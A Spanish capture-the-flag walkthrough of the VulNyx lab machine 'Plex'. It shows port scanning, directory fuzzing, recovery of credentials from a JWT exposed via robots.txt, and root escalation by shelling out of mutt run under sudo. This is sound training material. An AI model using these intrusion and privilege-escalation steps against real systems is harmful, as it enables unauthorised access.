VulNyx - Plex
- SSL/SSH Multiplexer - (CURL/SSH)
- Token JWT - (JWT.io)
- Abusing Mutt Binary - (Sudo/Privesc)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.24
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
Escaneo de servicios
❯ nmap -sV -sC -p 21 -v 192.168.1.24
PORT STATE SERVICE VERSION
21/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)
| ssh-hostkey:
| 2048 56:9b:dd:56:a5:c1:e3:52:a8:42:46:18:5e:0c:12:86 (RSA)
| 256 1b:d2:cc:59:21:50:1b:39:19:77:1d:28:c0:be:c6:82 (ECDSA)
|_ 256 9c:e7:41:b6:ad:03:ed:f5:a1:4c:cc:0a:50:79:1c:20 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Si intento conectarme por FTP me muestra el banner de OpenSSH.
❯ ftp 192.168.1.24
Connected to 192.168.1.24.
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u4
ftp>
Después de varias pruebas me doy cuenta de que estoy en frente de una multiplexación de servicios, básicamente se utiliza un puerto para diferentes servicios. Si lanzo CURL veo que existe el servicio HTTP.
❯ curl 192.168.1.24:21 -v
* Trying 192.168.1.24:21...
* Connected to 192.168.1.24 (192.168.1.24) port 21
> GET / HTTP/1.1
> Host: 192.168.1.24:21
> User-Agent: curl/8.3.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue, 12 Mar 2024 10:07:02 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Wed, 28 Feb 2024 17:50:38 GMT
< ETag: "31-61274c7cf8519"
< Accept-Ranges: bytes
< Content-Length: 49
< Content-Type: text/html
Hello Bro!
You only need a port to be happy...
Realizo fuerza bruta de directorios.
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/big.txt 'http://192.168.1.24:21/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.24:21/FUZZ
Total requests: 20476
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000017: 403 9 L 28 W 277 Ch ".htpasswd"
000000016: 403 9 L 28 W 277 Ch ".htaccess"
000015556: 200 2 L 4 W 58 Ch "robots.txt"
000016220: 200 658 L 1284 W 42076 Ch "server-status"
Reviso el archivo robots.txt
y veo un Disallow:.
❯ curl 192.168.1.24:21/robots.txt
User-agent: *
Disallow: /9a618248b64db62d15b300a07b00580b
Al visitar el nuevo directorio me informa que el recurso solicitado ha sido movido de manera permanente a una nueva ubicación.
❯ curl 192.168.1.24:21/9a618248b64db62d15b300a07b00580b
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.1.24:21/9a618248b64db62d15b300a07b00580b/">here</a>.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 192.168.1.24 Port 21</address>
</body></html>
Visito la nueva ubicación y me aparece un hash.
❯ curl 192.168.1.24:21/9a618248b64db62d15b300a07b00580b/
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk
Al decodificar el hash veo que se trata de un Token JWT.
❯ echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk" | base64 -d | jq
base64: entrada inválida
{
"typ": "JWT",
"alg": "HS256"
}
Me voy a JWT.io para decodificar el token.
Me conecto al sistema con las credenciales encontradas anteriormente.
Enumero permisos de sudo.
mauro@plex:~$ sudo -l
Matching Defaults entries for mauro on plex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mauro may run the following commands on plex:
(root) NOPASSWD: /usr/bin/mutt
Lanzo mutt con sudo y me aparece esta ventana.
mauro@plex:~$ sudo /usr/bin/mutt
Pulso shift+1 para activar el modo Comando de shell y seguidamente escribo /bin/bash
para obtener el root.
Y aquí termina la máquina Plex.
Saludos!